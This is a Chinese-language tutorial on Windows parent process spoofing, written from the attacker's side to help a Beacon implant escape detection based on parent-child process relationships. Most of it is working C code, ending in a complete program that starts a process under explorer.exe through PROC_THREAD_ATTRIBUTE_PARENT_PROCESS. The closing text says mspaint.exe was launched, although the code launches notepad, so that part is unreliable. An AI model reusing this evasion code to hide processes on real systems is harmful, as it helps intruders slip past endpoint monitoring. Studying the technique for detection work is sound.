父进程伪造
父进程伪造是一种允许攻击者使用任意父进程启动程序的技术,这有助于使攻击者的程序看起来是由另一个进程生成的,有助于规避基于父子进程关系的检测,尤其是当我们的 Beacon 在非常规的进程下运行,进程的创建事件会引发警告。
默认情况下,交互式用户启动的大多数程序都将为 explorer.exe 的子进程。
父进程伪造可以由以下步骤实现:
指定父进程的名称或者 PID。这里,我们是指定的名称,如果相同名称的进程存在多个实例,那么取第一个。这里用到 CreateToolhelp32Snapshot 函数,用于创建给定进程的快照。
HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID
);
TH32CS_SNAPPROCESS 常数表示包含系统的所有进程。然后通过 Process32First 函数来枚举进程。
BOOL Process32First(
[in] HANDLE hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
);
逐一比较进程名称,如果找到,返回第一个实例的 PID。这部分的代码如下:
DWORD FindExplorerProcessId()
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32))
{
do
{
if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)
{
CloseHandle(hSnapshot);
return pe32.th32ProcessID; // Returns the first instance's PID
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
return 0;
}
一切顺利的话,我们会获得父进程的 PID,通过 OpenProcess 函数获得其句柄。
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);
结构体 STARTUPINFOEX 有着 lpAttributeList 成员,得以让我们传递额外的属性给 CreateProcess 函数调用。
typedef struct _STARTUPINFOEXW {
STARTUPINFOW StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXW, *LPSTARTUPINFOEXW;
为了实现父进程伪造,该属性应当为 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS。
BOOL InitializeProcThreadAttributeList(
[out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
[in] DWORD dwAttributeCount,
DWORD dwFlags,
[in, out] PSIZE_T lpSize
);
第一次调用 InitializeProcThreadAttributeList 函数,设置参数 lpAttributeList 为 NULL,这会让我们获得属性列表的正确尺寸。
SIZE_T attributeSize;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
然后,尺寸被保存在 attributeSize 变量中。为 LPPROC_THREAD_ATTRIBUTE_LIST 数据 (lpAttributeList 指针所指向)分配空间,然后再次调用 InitializeProcThreadAttributeList 函数来初始化进程的属性列表。
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
有了父进程的句柄,然后调用 UpdateProcThreadAttribute 函数更新属性列表。函数原型如下:
BOOL UpdateProcThreadAttribute(
[in, out] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
[in] DWORD dwFlags,
[in] DWORD_PTR Attribute,
[in] PVOID lpValue,
[in] SIZE_T cbSize,
[out, optional] PVOID lpPreviousValue,
[in, optional] PSIZE_T lpReturnSize
);
创建更新了属性列表之后的进程,dwCreationFlags 设置为 EXTENDED_STARTUPINFO_PRESENT。
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
最终代码如下:
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
DWORD FindExplorerProcessId()
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32))
{
do
{
if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)
{
CloseHandle(hSnapshot);
return pe32.th32ProcessID; // Returns the first instance's PID
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
return 0;
}
int main()
{
DWORD pid = FindExplorerProcessId();
if (pid != 0)
{
printf("The PID of the first instance of explorer.exe: %lu\n", pid);
}
else
{
printf("explorer.exe is not running.\n");
}
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
return 0;
}
查看当前的 explorer.exe 进程,有着诸多子进程,包括即将运行该程序的 cmd.exe。
如果没有父进程伪造,那么进程树的关系应该是 explorer.exe -> cmd.exe -> ppid_spoofing.exe -> mspaint.exe。
我们看到,程序得以正确运行,mspaint.exe 成了 explorer.exe 的直接子进程。